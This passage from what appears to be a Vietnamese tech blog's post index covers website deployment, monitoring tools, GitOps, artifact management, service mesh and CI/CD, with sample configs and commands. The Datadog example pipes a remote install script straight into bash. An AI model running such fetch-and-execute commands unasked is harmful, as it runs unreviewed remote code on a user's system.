database chứa các ký tự đặc biệt, nhớ chuyển đổi chúng sang định dạng ASCII trước khi thực hiện upload. Trong trường hợp gặp lỗi khi import, bạn cần kiểm tra xem database có bị hỏng hay không. Nếu bị lỗi, hãy tạo lại một cơ sở dữ liệu mới và thử lại. Cuối cùng, sau khi upload xong, đừng quên kiểm tra website của bạn để đảm bảo mọi thứ hoạt động bình thường. Cập nhật file cấu hình để kết nối website và database Sau khi tải database lên server, bạn cần mở file cấu hình PHP script để điền thông tin như host, tên database, tên người dùng và mật khẩu.\nFile cấu hình có thể có tên và vị trí khác nhau tùy thuộc vào phần mềm bạn sử dụng. Ví dụ, với WordPress, file cấu hình là wp-config.php và nằm trong thư mục chứa WordPress (thường là public_html).\nBước 4: Kiểm tra website đã hoạt động ổn định hay chưa Để đảm bảo website của bạn hoạt động ổn định sau khi tải lên và trỏ tên miền, bạn cần thực hiện một số bước kiểm tra quan trọng:\nKiểm tra truy cập website Truy cập bằng tên miền hoặc địa chỉ IP: Nếu bạn có thể truy cập thành công, website đã hoạt động ổn định. Chờ DNS cập nhật: Nếu tên miền vừa được cập nhật, bạn có thể cần đợi khoảng 24 giờ để DNS được quảng bá rộng rãi. Kiểm tra ngay lập tức bằng: Sử dụng file host: Chỉnh sửa file host trên máy tính để mô phỏng thay đổi DNS. Công cụ online: Kiểm tra website bằng các dịch vụ kiểm tra DNS trực tuyến. Plugin browser: Cài đặt plugin giúp tạo file host ảo để kiểm tra các thay đổi DNS. Kiểm tra các chức năng của website Thử truy cập các trang khác nhau, kiểm tra liên kết. Kiểm tra xem các tính năng của website có hoạt động đúng không. Kiểm tra tốc độ tải trang Sử dụng các công cụ như Google PageSpeed Insights, GTmetrix để kiểm tra hiệu suất. Kiểm tra các lỗi trên website Lỗi 404: Trang không tìm thấy. Lỗi 500: Lỗi máy chủ hosting. Lỗi 503: Máy chủ đang bảo trì. Kiểm tra trên nhiều trình duyệt \u0026amp; thiết bị Dùng Chrome, Firefox, Safari, Edge trên máy tính, điện thoại, máy tính bảng. Kiểm tra vào các thời điểm khác nhau trong ngày Website có thể hoạt động khác nhau vào những thời điểm khác nhau. Nếu phát hiện lỗi nhưng không biết cách xử lý, hãy liên hệ với nhà cung cấp hosting để được hỗ trợ.\nLời kết Upload website lên hosting là một bước quan trọng để website của bạn có thể hoạt động ổn định trên môi trường trực tuyến. Bằng cách chuẩn bị đúng đắn và thực hiện theo các bước hướng dẫn, bạn sẽ đảm bảo rằng website của mình luôn sẵn sàng phục vụ người dùng một cách hiệu quả.\nNếu bạn có bất kỳ câu hỏi nào hoặc cần hỗ trợ thêm, hãy để lại câu hỏi trong phần bình luận dưới đây. Mình sẽ sớm giúp bạn tìm ra lời giải đáp.\nCảm ơn bạn đã theo dõi bài viết\n","date":"26/02/2025","image":"https://tech.nguuyen.io.vn/images/website/upload-website-on-hosting.webp","permalink":"/vi/posts/website/how-to-deploy-a-website/","summary":"Cách up website lên Hosting thông qua File Manager và cPanel nhanh nhất từ A-Z. Bao gồm cả các framework như React hay Vue.js","tags":["website","hosting"],"title":"Deploy Website lên hosting đơn giản nhất (HTML/CSS hoặc React/Vue.js)"},{"categories":["DevOps"],"content":"Giám sát ứng dụng (Application Monitoring) Giám sát ứng dụng là quá trình theo dõi và phân tích liên tục các ứng dụng phần mềm nhằm đảm bảo chúng hoạt động tối ưu, phát hiện sự cố và cung cấp những hiểu biết sâu sắc về hiệu suất của hệ thống. Việc giám sát bao gồm các chỉ số quan trọng như:\nThời gian phản hồi Tỷ lệ lỗi Sử dụng tài nguyên (CPU, RAM, Disk) Hiệu suất giao dịch Các công cụ giám sát ứng dụng giúp thu thập, phân tích dữ liệu để phát hiện bất thường, cảnh báo sớm các vấn đề tiềm ẩn, đồng thời cung cấp cái nhìn toàn diện về hành vi của ứng dụng. Nhờ đó, doanh nghiệp có thể chủ động xử lý sự cố, tối ưu hiệu suất và nâng cao trải nghiệm người dùng.\nJaeger - Công cụ tracing phân tán Jaeger là một hệ thống giám sát phân tán mã nguồn mở do Uber phát triển, giúp theo dõi và khắc phục sự cố trong các hệ thống microservices phức tạp.\nTính năng chính: Theo dõi yêu cầu phân tán Phân tích quan hệ giữa các dịch vụ Xác định nguyên nhân gốc rễ của vấn đề Hỗ trợ OpenTracing – dễ dàng tích hợp với các hệ thống khác Ví dụ cài đặt Jaeger với Docker 1 2 3 4 5 6 7 8 9 10 11 docker run -d --name jaeger \\ -e COLLECTOR_ZIPKIN_HTTP_PORT=9411 \\ -p 5775:5775/udp \\ -p 6831:6831/udp \\ -p 6832:6832/udp \\ -p 5778:5778 \\ -p 16686:16686 \\ -p 14268:14268 \\ -p 14250:14250 \\ -p 9411:9411 \\ jaegertracing/all-in-one:1.37 Sau khi cài đặt, tra cứu Jaeger UI tại http://localhost:16686\nTài nguyên tham khảo:\nTài liệu Jaeger\nGitHub - jaegertracing\nNew Relic - Giám sát hiệu năng ứng dụng New Relic là một nền tảng quan sát đám mây cung cấp cái nhìn toàn diện về phần mềm và cơ sở hạ tầng. Nó hỗ trợ giám sát hiệu suất thời gian thực, phân tích dữ liệu và cảnh báo tự động.\nTính năng chính: Theo dõi hiệu suất ứng dụng (APM) Phân tích logs và truy vết lỗi Theo dõi trải nghiệm người dùng trên web và mobile AI-powered analytics – tự động phát hiện sự cố Ví dụ cài đặt New Relic Agent trong Node.js 1 npm install newrelic --save Sau đó, bạn cần thêm require(\u0026rsquo;newrelic\u0026rsquo;) ở dòng đầu tiên trong file main:\n1 2 3 4 5 require(\u0026#39;newrelic\u0026#39;); #Thêm thư viện newrelic const express = require(\u0026#39;express\u0026#39;); const app = express(); app.get(\u0026#39;/\u0026#39;, (req, res) =\u0026gt; res.send(\u0026#39;Hello, New Relic!\u0026#39;)); app.listen(3000, () =\u0026gt; console.log(\u0026#39;App running on port 3000\u0026#39;)); Tài nguyên tham khảo:\nTrang web New Relic\nBản demo nền tảng New Relic\nDatadog - Giải pháp giám sát toàn diện Datadog là một nền tảng giám sát và phân tích mạnh mẽ dành cho các ứng dụng quy mô lớn. Nó hỗ trợ nhiều lĩnh vực từ giám sát hạ tầng, hiệu suất ứng dụng đến quản lý logs và trải nghiệm người dùng.\nTính năng chính: 400+ tích hợp với các công cụ DevOps Theo dõi toàn bộ hệ thống trên dashboard trực quan Thiết lập cảnh báo thông minh Hỗ trợ giám sát cloud-native Ví dụ vài đặt Datadog Agent 1 2 DD_AGENT_MAJOR_VERSION=7 DD_API_KEY=\u0026lt;YOUR_API_KEY\u0026gt; \\ DD_SITE=\u0026#34;datadoghq.com\u0026#34; bash -c \u0026#34;$(curl -L https://s3.amazonaws.com/dd-agent/scripts/install_script.sh)\u0026#34; Sau khi cài đặt, truy cập Datadog dashboard để xem các metric của bạn.\nTài nguyên tham khảo:\nTrang web Datadog\nTài liệu Datadog\nKết luận Việc giám sát ứng dụng đóng vai trò quan trọng trong việc đảm bảo hiệu suất và độ tin cậy của hệ thống. Các công cụ như Jaeger, New Relic và Datadog cung cấp các giải pháp toàn diện giúp doanh nghiệp theo dõi, phân tích và tối ưu hóa hệ thống phần mềm một cách hiệu quả. Chọn công cụ phù hợp sẽ giúp bạn quản lý ứng dụng tốt hơn, phát hiện sớm lỗi và cải thiện trải nghiệm người dùng.\nHãy triển khai giám sát để tối ưu hóa hiệu suất ứng dụng của bạn!\nBước tiếp theo: Tìm hiểu về Artifacts trong phát triển phần mềm, artifacts là các tệp hoặc sản phẩm được tạo ra trong quá trình phát triển và triển khai ứng dụng.\n","date":"25/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-eighteen.webp","permalink":"/vi/posts/devops/devops-step-eighteen/","summary":"Giám sát ứng dụng là quá trình theo dõi, phân tích hiệu suất và phát hiện sự cố của phần mềm để đảm bảo hoạt động ổn định và tối ưu.","tags":["devops"],"title":"Giám sát ứng dụng (Application Monitoring)"},{"categories":["DevOps"],"content":"Giới thiệu GitOps là một phương pháp quản lý hạ tầng và triển khai ứng dụng bằng cách sử dụng Git làm nguồn sự thật duy nhất (single source of truth). Phương pháp này giúp tự động hóa quy trình triển khai, đảm bảo tính nhất quán và tăng cường khả năng theo dõi các thay đổi.\nGitOps mở rộng thực tiễn của DevOps bằng cách áp dụng các nguyên tắc của kiểm soát phiên bản (version control) và tích hợp liên tục (CI/CD) vào quản lý hạ tầng. Thay vì thực hiện thủ công, mọi thay đổi được thực hiện qua pull request và tự động đồng bộ với hệ thống thực tế.\nLợi ích của GitOps Kiểm soát phiên bản: Tất cả các thay đổi được theo dõi trong Git, dễ dàng kiểm tra và quay lại trạng thái cũ khi cần.\nTự động hoá triển khai: Sử dụng các công cụ như ArgoCD hoặc FluxCD để tự động đồng bộ hệ thống.\nTăng cường bảo mật: Mọi thay đổi cần thông qua Git, giúp kiểm soát truy cập và hạn chế rủi ro thao tác trực tiếp.\nKhả năng phục hồi cao: Hệ thống có thể nhanh chóng phục hồi trạng thái ban đầu khi gặp sự cố bằng cách áp dụng lại cấu hình từ Git.\nCải thiện hợp tác nhóm: Các thay đổi đều được ghi nhận và xem xét qua pull request, giúp các thành viên làm việc hiệu quả hơn.\nCác công cụ GitOps phổ biến ArgoCD - Triển khai liên tục mạnh mẽ ArgoCD là một công cụ triển khai liên tục (CD) dành cho Kubernetes, giúp tự động hóa quá trình triển khai bằng cách theo dõi trạng thái của ứng dụng trong Git và đồng bộ với môi trường thực tế.\nTính năng nổi bật:\nTự động đồng bộ trạng thái ứng dụng với Git. Giao diện web trực quan để theo dõi trạng thái triển khai. Hỗ trợ Helm, Kustomize, và các công cụ quản lý cấu hình khác. Ví dụ triển khai ArgoCD\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: my-app namespace: argocd spec: destination: namespace: default server: https://kubernetes.default.svc source: repoURL: https://github.com/my-org/my-repo.git targetRevision: HEAD path: manifests syncPolicy: automated: selfHeal: true prune: true FluxCD - Quản lý triển khai tự động FluxCD là một công cụ GitOps giúp triển khai ứng dụng lên Kubernetes bằng cách theo dõi Git repository và tự động cập nhật hệ thống khi có thay đổi.\nTính năng nổi bật:\nTheo dõi repository Git và triển khai ứng dụng tự động. Hỗ trợ Helm, Kustomize, và nhiều hệ thống CI/CD khác. Cung cấp khả năng cập nhật hình ảnh container tự động. Ví dụ triển khai FluxCD:\n1 2 3 4 5 6 7 8 9 10 apiVersion: source.toolkit.fluxcd.io/v1beta1 kind: GitRepository metadata: name: my-app-repo namespace: flux-system spec: interval: 1m0s url: https://github.com/my-org/my-repo.git ref: branch: main So sánh ArgoCD và FluxCD Tính năng ArgoCD FluxCD UI trực quan Có Không Hỗ trợ Helm Có Có Cập nhật hình ảnh container tự động Không Có Triển khai Canary/Rollback Có Có Kết luận GitOps giúp đơn giản hóa quy trình triển khai ứng dụng bằng cách sử dụng Git làm trung tâm kiểm soát. Với các công cụ như ArgoCD và FluxCD, doanh nghiệp có thể dễ dàng tự động hóa triển khai, đảm bảo tính nhất quán và cải thiện khả năng phục hồi hệ thống.\nTài liệu tham khảo:\nTài liệu ArgoCD Tài liệu FluxCD Hướng dẫn GitOps Bạn đã thử áp dụng GitOps vào dự án của mình chưa? Hãy chia sẻ trải nghiệm của bạn!\nBước tiếp theo: Tìm hiểu về Service Mesh một lớp hạ tầng phần mềm giúp quản lý giao tiếp giữa các dịch vụ trong hệ thống microservices. Nó cung cấp các tính năng như cân bằng tải, bảo mật, quan sát, kiểm soát lưu lượng và khắc phục lỗi, giúp dịch vụ giao tiếp với nhau một cách hiệu quả mà không cần thay đổi mã nguồn ứng dụng.\n","date":"25/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-twenty.webp","permalink":"/vi/posts/devops/devops-step-twenty/","summary":"GitOps là phương pháp quản lý hạ tầng và triển khai ứng dụng bằng Git làm nguồn sự thật duy nhất, tự động hóa quy trình triển khai, đảm bảo tính nhất quán, tăng cường khả năng theo dõi và mở rộng phương pháp phát triển và vận hành phần mềm bằng kiểm soát phiên bản cùng tích hợp và triển khai liên tục.","tags":["devops","git"],"title":"GitOps - Tự động hoá triển khai với Git"},{"categories":["DevOps"],"content":"Giới thiệu Mẫu thiết kế đám mây là những giải pháp có thể tái sử dụng cho các vấn đề phổ biến trong kiến trúc điện toán đám mây. Các mẫu này giúp giải quyết các thách thức liên quan đến khả năng mở rộng, độ tin cậy, bảo mật và hiệu suất trong các hệ thống phân tán.\nChúng cung cấp các phương pháp tốt nhất để thiết kế và triển khai ứng dụng đám mây, bao gồm quản lý dữ liệu, xử lý tin nhắn, đảm bảo tính kiên cố (resiliency) và triển khai. Một số ví dụ phổ biến:\nCircuit Breaker: Ngăn chặn lỗi lan rộng trong hệ thống bằng cách ngắt kết nối tạm thời khi phát hiện lỗi. CQRS (Command Query Responsibility Segregation): Tách biệt các thao tác đọc và ghi dữ liệu để cải thiện hiệu suất. Sidecar Pattern: Tách các thành phần phụ của ứng dụng vào một tiến trình hoặc container riêng để tăng tính linh hoạt. Khả dụng (Availability) Khả dụng (Availability) là phần trăm thời gian hệ thống hoạt động đúng như mong đợi, còn được gọi là uptime. Yếu tố này có thể bị ảnh hưởng bởi lỗi phần cứng/phần mềm, vấn đề hạ tầng, tấn công mạng hoặc tải hệ thống quá cao.\nCác nhà cung cấp dịch vụ đám mây thường đưa ra thỏa thuận mức dịch vụ (SLA - Service Level Agreement), quy định thời gian uptime cam kết. Ví dụ, một công ty có thể đảm bảo 99.99% thời gian hoạt động.\nVí dụ: Một hệ thống cam kết 99.99% uptime tức là chỉ được phép ngừng hoạt động tối đa 52 phút/năm.\nQuản lý dữ liệu (Data Management) Quản lý dữ liệu là yếu tố quan trọng trong các ứng dụng đám mây, ảnh hưởng đến hầu hết các thuộc tính chất lượng. Dữ liệu thường được lưu trữ ở nhiều địa điểm khác nhau để cải thiện hiệu suất, mở rộng quy mô hoặc đảm bảo tính sẵn sàng. Điều này đặt ra các thách thức như:\nDuy trì tính nhất quán dữ liệu khi dữ liệu được đồng bộ trên nhiều máy chủ. Bảo mật dữ liệu khi lưu trữ, truyền tải và cấp quyền truy cập. Khả năng mở rộng để đáp ứng nhu cầu tăng trưởng. Ví dụ: Hệ thống ngân hàng cần đảm bảo mọi giao dịch đều đồng nhất giữa các trung tâm dữ liệu để tránh sai lệch số dư tài khoản.\nThiết Kế \u0026amp; triển Khai (Design and Implementation) Thiết kế tốt giúp hệ thống dễ bảo trì, nhất quán và có thể tái sử dụng trong nhiều tình huống khác nhau. Các quyết định trong giai đoạn thiết kế và triển khai ảnh hưởng trực tiếp đến chi phí và chất lượng tổng thể của ứng dụng đám mây.\nNguyên tắc thiết kế quan trọng:\nTính nhất quán: Các thành phần phải tuân theo một cấu trúc nhất định. Khả năng mở rộng: Hệ thống có thể xử lý lưu lượng cao mà không bị suy giảm hiệu suất. Tái sử dụng: Các thành phần có thể dùng lại trong nhiều ứng dụng khác nhau. Ví dụ: Một hệ thống e-commerce sử dụng kiến trúc microservices để có thể dễ dàng mở rộng từng dịch vụ riêng lẻ (ví dụ: thanh toán, giỏ hàng, tìm kiếm sản phẩm).\nQuản lý \u0026amp; giám sát (Management and Monitoring) Quản lý và giám sát DevOps bao gồm toàn bộ quá trình phát triển từ lập kế hoạch, phát triển, kiểm thử, triển khai đến vận hành. Một hệ thống giám sát tốt giúp theo dõi trạng thái của ứng dụng, dịch vụ và hạ tầng trong môi trường sản xuất.\nCác thành phần giám sát quan trọng:\nReal-time streaming: Theo dõi hệ thống trong thời gian thực. Historical replay: Lưu trữ lịch sử để phân tích lỗi. Visualization: Hiển thị dữ liệu trực quan để dễ dàng đánh giá hệ thống. Ví dụ: Sử dụng Prometheus + Grafana để giám sát hiệu suất của các container Kubernetes.\nKết luận Các mẫu thiết kế đám mây giúp tối ưu hóa kiến trúc hệ thống bằng cách cung cấp giải pháp cho các thách thức phổ biến như hiệu suất, bảo mật và khả năng mở rộng. Việc áp dụng các mẫu thiết kế phù hợp giúp doanh nghiệp xây dựng hệ thống mạnh mẽ, linh hoạt và dễ bảo trì.\nTổng kết: Bạn đã hoàn thành hành trình khám phá về DevOps, phương pháp kết hợp phát triển (Development) và vận hành (Operations) để tăng tốc triển khai phần mềm, nâng cao độ tin cậy hệ thống và tối ưu quy trình làm việc. Cảm ơn bạn đã đồng hành, hy vọng những kiến thức này sẽ giúp ích cho bạn trong hành trình tiếp theo!\n","date":"25/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-twenty-two.webp","permalink":"/vi/posts/devops/devops-step-twenty-two/","summary":"Mẫu thiết kế đám mây là các giải pháp tái sử dụng giúp giải quyết các vấn đề về mở rộng, tin cậy, bảo mật và hiệu suất trong kiến trúc điện toán đám mây.","tags":["devops"],"title":"Mẫu thiết kế đám mây (Cloud Design Patterns)"},{"categories":["DevOps"],"content":"Artifacts là gì? Artifacts là các sản phẩm được tạo ra trong suốt vòng đời phát triển phần mềm. Chúng có thể bao gồm:\nMã nguồn (Source code): Các tệp chứa logic ứng dụng. Binaries: Các tệp thực thi hoặc thư viện được biên dịch. Tài liệu (Documentation): Hướng dẫn sử dụng, API specs. Tệp cấu hình (Configuration files): Các thiết lập cần thiết để chạy ứng dụng. Kết quả kiểm thử (Test results): Báo cáo từ các quy trình kiểm thử. Việc quản lý artifacts giúp đảm bảo tính nhất quán, dễ dàng theo dõi và triển khai phần mềm hiệu quả hơn.\nCác công cụ quản lý Artifacts phổ biến Artifactory Artifactory là một giải pháp DevOps cho việc lưu trữ, quản lý và phân phối các artifacts. Nó hỗ trợ nhiều định dạng như Docker, npm, Maven, Python, Go, và hơn thế nữa.\nCài đặt Artifactory trên Docker: 1 2 3 4 5 # Kéo image Artifactory docker pull releases-docker.jfrog.io/jfrog/artifactory-oss:latest # Chạy container docker run --name artifactory -d -p 8081:8081 releases-docker.jfrog.io/jfrog/artifactory-oss:latest Sau khi cài đặt, bạn có thể truy cập giao diện web qua http://localhost:8081.\nNexus Repository Manager Nexus là một trong những công cụ phổ biến để quản lý binary artifacts, đặc biệt trong môi trường Java.\nCài đặt Nexus trên Linux: 1 2 3 4 wget https://download.sonatype.com/nexus/3/latest-unix.tar.gz tar -xvf latest-unix.tar.gz cd nexus-3.* ./bin/nexus start Sau khi chạy, bạn có thể truy cập Nexus tại http://localhost:8081.\nCloudsmith Cloudsmith là một nền tảng quản lý artifacts dựa trên đám mây, hỗ trợ nhiều định dạng gói tin như Docker, Helm, npm, pip.\nCách tải và đẩy package lên Cloudsmith: 1 2 3 4 5 # Cài đặt CLI của Cloudsmith pip install cloudsmith-cli # Đẩy một package lên kho lưu trữ cloudsmith push python my-org/my-repo my-package-1.0.0.tar.gz Cloudsmith giúp đơn giản hóa quá trình quản lý và phân phối gói phần mềm.\nKết luận Việc quản lý artifacts đóng vai trò quan trọng trong quy trình phát triển phần mềm. Sử dụng các công cụ như Artifactory, Nexus, và Cloudsmith giúp đảm bảo tính tổ chức, bảo mật và hiệu quả trong việc lưu trữ và triển khai ứng dụng. Tùy vào nhu cầu của dự án, bạn có thể chọn công cụ phù hợp để tối ưu hóa quy trình DevOps của mình!\nBạn đang sử dụng công cụ nào để quản lý artifacts? Hãy chia sẻ kinh nghiệm của bạn!\nBước tiếp theo: Tìm hiểu về GitOps quá trình cung cấp và cấu hình tài nguyên (máy chủ, mạng, lưu trữ, tài khoản) để hệ thống hoặc ứng dụng có thể hoạt động hiệu quả.\n","date":"25/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-nineteen.webp","permalink":"/vi/posts/devops/devops-step-nineteen/","summary":"Artifacts là các sản phẩm được tạo ra trong suốt vòng đời phát triển phần mềm.","tags":["devops","cloud"],"title":"Quản lý Artifacts trong phát triển phần mềm"},{"categories":["DevOps"],"content":"Giới thiệu Service Mesh là một lớp hạ tầng phần mềm giúp quản lý giao tiếp giữa các dịch vụ trong hệ thống microservices. Nó cung cấp các tính năng như cân bằng tải, bảo mật, quan sát, kiểm soát lưu lượng và khắc phục lỗi, giúp dịch vụ giao tiếp với nhau một cách hiệu quả mà không cần thay đổi mã nguồn ứng dụng.\nCác công cụ Service Mesh phổ biến gồm: Istio, Linkerd, Consul.\nLợi ích của Service Mesh Tự động quản lý giao tiếp giữa các dịch vụ - Không cần thay đổi mã nguồn ứng dụng.\nBảo mật nâng cao - Mã hóa TLS, xác thực dịch vụ, chính sách RBAC.\nTối ưu hiệu suất - Hỗ trợ cân bằng tải thông minh và kiểm soát lưu lượng.\nQuan sát toàn diện - Theo dõi logs, metrics và tracing để giám sát hệ thống.\nKhả năng phục hồi cao - Giúp phát hiện và xử lý lỗi tự động.\nCác công cụ Service Mesh phổ biến Istio - Giải pháp mạnh mẽ nhất Istio là một nền tảng Service Mesh mã nguồn mở cung cấp khả năng kiểm soát, bảo mật và quan sát dịch vụ trong hệ thống Kubernetes.\nTính năng chính:\nHỗ trợ mTLS để bảo mật giao tiếp giữa các dịch vụ. Cân bằng tải thông minh, retry, timeout. Quản lý API Gateway và chính sách truy cập dịch vụ. Ví dụ cấu hình Istio Gateway:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 apiVersion: networking.istio.io/v1alpha3 kind: Gateway metadata: name: my-gateway spec: selector: istio: ingressgateway servers: - port: number: 80 name: http protocol: HTTP hosts: - \u0026#34;example.com\u0026#34; Tài liệu Istio\nLinkerd - Dễ triển khai \u0026amp; hiệu năng cao Linkerd là Service Mesh nhẹ, tối ưu hóa hiệu suất cho Kubernetes, giúp giảm độ trễ và tài nguyên sử dụng.\nTính năng chính:\nTự động mã hóa TLS (mTLS) cho toàn bộ giao tiếp. Hỗ trợ giám sát tracing và metrics dễ dàng. Cài đặt nhanh chỉ với một lệnh CLI. Ví dụ cấu hình Linkerd:\n1 2 3 4 5 6 7 8 9 10 11 apiVersion: linkerd.io/v1alpha2 kind: ServiceProfile metadata: name: my-service.default.svc.cluster.local spec: routes: - name: \u0026#34;GET /health\u0026#34; condition: method: GET pathRegex: \u0026#34;/health\u0026#34; isRetryable: true Tài liệu Linkerd\nConsul - Hỗ trợ Service Mesh \u0026amp; Service Discovery Consul không chỉ là một Service Mesh, mà còn cung cấp Service Discovery, quản lý cấu hình, và bảo mật giao tiếp giữa các dịch vụ.\nTính năng chính:\nHỗ trợ service discovery cho cả Kubernetes và hệ thống truyền thống. Kết hợp với Envoy Proxy để quản lý giao tiếp. Cho phép multi-cluster và hybrid cloud. Ví dụ cấu hình Consul Service Registration:\n1 2 3 4 5 6 7 { \u0026#34;service\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;web\u0026#34;, \u0026#34;port\u0026#34;: 8080, \u0026#34;connect\u0026#34;: { \u0026#34;sidecar_service\u0026#34;: {} } } } Tài liệu Consul\nSo sánh các Service Mesh phổ biến Tính năng Istio Linkerd Consul UI trực quan Có Không Có Hỗ trợ mTLS Có Có Có Hiệu năng cao Cần tối ưu Nhanh Trung bình Hỗ trợ Service Discovery Không Không Có Kết luận Service Mesh giúp đơn giản hóa việc quản lý giao tiếp giữa các microservices, đảm bảo bảo mật, giám sát và hiệu suất cao.\nNếu bạn đang tìm kiếm một giải pháp mạnh mẽ nhất, hãy thử Istio.\nNếu ưu tiên hiệu năng cao và dễ triển khai, hãy chọn Linkerd.\nNếu bạn cần service discovery và multi-cloud, hãy xem xét Consul.\nTài liệu tham khảo:\nTài liệu Istio\nTài liệu Linkerd\nTài liệu Consul\nBạn đã thử triển khai Service Mesh nào chưa? Hãy chia sẻ trải nghiệm của bạn!\nBước cuối cùng: Tìm hiểu về Cloud Design Patterns tập hợp các mẫu thiết kế đã được kiểm chứng, giúp xây dựng các ứng dụng trên đám mây hiệu quả, linh hoạt và có khả năng mở rộng. Chúng giải quyết các vấn đề phổ biến như tính sẵn sàng cao, khả năng chịu lỗi, mở rộng theo nhu cầu và bảo mật trong môi trường điện toán đám mây.\n","date":"25/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-twenty-one.webp","permalink":"/vi/posts/devops/devops-step-twenty-one/","summary":"Service Mesh là một lớp hạ tầng phần mềm quản lý giao tiếp giữa các dịch vụ trong hệ thống microservices, cung cấp cân bằng tải, bảo mật, quan sát, kiểm soát lưu lượng, khắc phục lỗi và giúp dịch vụ giao tiếp hiệu quả mà không cần thay đổi mã nguồn.","tags":["devops"],"title":"Service Mesh - Quản lý giao tiếp giữa Microservices"},{"categories":["DevOps"],"content":"CI/CD là gì? CI/CD (Continuous Integration/Continuous Deployment) là một phương pháp giúp tự động hóa quá trình phát triển phần mềm, giúp giảm lỗi, tăng tốc độ triển khai và cải thiện chất lượng sản phẩm.\nContinuous Integration (CI): Tích hợp liên tục, giúp phát hiện lỗi sớm bằng cách tự động kiểm thử mỗi khi có thay đổi trong mã nguồn. Continuous Deployment (CD): Triển khai liên tục, đảm bảo phần mềm được phát hành một cách tự động và nhanh chóng. Các công cụ CI/CD phổ biến Jenkins Jenkins là một máy chủ tự động hóa mã nguồn mở phổ biến, giúp xây dựng, kiểm thử và triển khai phần mềm một cách tự động.\nĐặc điểm nổi bật:\nHỗ trợ nhiều plugin, dễ dàng tích hợp với các công cụ DevOps. Giao diện web trực quan, dễ dàng cấu hình. Hỗ trợ cả môi trường Windows và Linux. Ví dụ: Cấu hình một pipeline đơn giản trong Jenkinsfile\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 pipeline { agent any stages { stage(\u0026#39;Build\u0026#39;) { steps { echo \u0026#39;Building the application...\u0026#39; } } stage(\u0026#39;Test\u0026#39;) { steps { echo \u0026#39;Running tests...\u0026#39; } } stage(\u0026#39;Deploy\u0026#39;) { steps { echo \u0026#39;Deploying the application...\u0026#39; } } } } Tài nguyên hữu ích:\nTrang chủ Jenkins Hướng dẫn Jenkins từ A-Z CircleCI CircleCI là một nền tảng CI/CD mạnh mẽ, hỗ trợ nhiều ngôn ngữ lập trình và tích hợp tốt với GitHub, Bitbucket.\nĐặc điểm nổi bật:\nHỗ trợ build song song để tăng tốc độ xử lý. Tích hợp tốt với Docker và Kubernetes. Có phiên bản cloud và self-hosted. Ví dụ: Cấu hình một pipeline CircleCI trong .circleci/config.yml\n1 2 3 4 5 6 7 8 9 version: 2.1 jobs: build: docker: - image: circleci/node:14 steps: - checkout - run: npm install - run: npm test Tài nguyên hữu ích:\nTrang chủ CircleCI Video hướng dẫn CircleCI GitLab CI/CD GitLab CI/CD là một hệ thống tích hợp sẵn trong GitLab, cho phép tự động hóa quá trình kiểm thử và triển khai ngay trong Git repository.\nĐặc điểm nổi bật:\nHỗ trợ tự động hóa toàn bộ pipeline từ build, test đến deploy. Có sẵn trong GitLab, không cần công cụ bên ngoài. Hỗ trợ cả chạy pipeline trên Docker container. Ví dụ: Cấu hình pipeline GitLab CI/CD trong .gitlab-ci.yml\n1 2 3 4 5 6 7 8 9 10 stages: - build - test - deploy test: stage: test script: - npm install - npm test Tài nguyên hữu ích:\nTrang chủ GitLab Hướng dẫn GitLab CI/CD GitHub Actions GitHub Actions là công cụ CI/CD được tích hợp trực tiếp vào GitHub, giúp tự động hóa quá trình kiểm thử và triển khai mỗi khi có thay đổi trong repository.\nĐặc điểm nổi bật:\nTích hợp chặt chẽ với GitHub, dễ dàng thiết lập workflow. Hỗ trợ nhiều hệ điều hành và ngôn ngữ lập trình. Có thể sử dụng marketplace với hàng nghìn actions có sẵn. Ví dụ: Workflow GitHub Actions trong .github/workflows/main.yml\n1 2 3 4 5 6 7 8 9 10 11 12 13 name: Node.js CI on: [push, pull_request] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - name: Setup Node.js uses: actions/setup-node@v3 with: node-version: 14 - run: npm install - run: npm test Tài nguyên hữu ích:\nTrang chủ GitHub Actions Video hướng dẫn GitHub Actions Kết luận CI/CD giúp tăng tốc quá trình phát triển phần mềm, giảm thiểu lỗi và nâng cao chất lượng sản phẩm. Tùy theo nhu cầu và môi trường làm việc, bạn có thể chọn Jenkins, CircleCI, GitLab CI/CD hoặc GitHub Actions để triển khai hệ thống CI/CD của mình.\nBước tiếp theo: Tìm hiểu về Secret Management quá trình lưu trữ, quản lý và bảo vệ các thông tin nhạy cảm như mật khẩu, khóa API, chứng chỉ và token truy cập để ngăn chặn rò rỉ dữ liệu và đảm bảo bảo mật hệ thống.\n","date":"24/02/2025","image":"https://tech.nguuyen.io.vn/images/devops/devops-step-thirteen.webp","permalink":"/vi/posts/devops/devops-step-thirteen/","summary":"Continuous Integration và Continuous Deployment (CI/CD) là quy trình tự động hóa giúp tích hợp, kiểm thử và triển khai phần mềm liên tục, giảm lỗi và rút ngắn thời gian phát hành.","tags":["devops","cloud"],"title":"CI/CD - Tích hợp liên tục và triển khai liên tục"},{"categories":["DevOps"],"content":"Container Orchestration là gì? Container orchestration là quá trình quản lý và tự động hóa vòng đời của container, bao gồm triển khai, mở rộng và kết nối mạng giữa các container trên nhiều máy chủ. Đây là công nghệ quan trọng để chạy các ứng dụng phức tạp trong môi trường sản xuất.\nBằng cách sử dụng các công cụ như Kubernetes, Docker Swarm, và Apache Mesos, các tổ chức có thể đảm bảo tính khả dụng cao, khả năng mở rộng và độ tin cậy cho ứng dụng của mình. Container orchestration giúp tự động hóa các tác vụ vận hành và tạo nền tảng vững chắc cho microservices, cloud-native development, và DevOps.\nTài nguyên miễn phí hữu ích:\nContainer Orchestration là gì? Kubernetes là gì? Docker Swarm Giới thiệu về Kubernetes Kubernetes Kubernetes là nền tảng mã nguồn mở phổ biến nhất để quản lý container. Nó cho phép triển khai container trên nhiều máy chủ, xác định mức độ sẵn sàng, logic triển khai và mở rộng thông qua YAML.\nKubernetes có nguồn gốc từ Borg, nền tảng nội bộ của Google, và đã trở thành kỹ năng quan trọng đối với 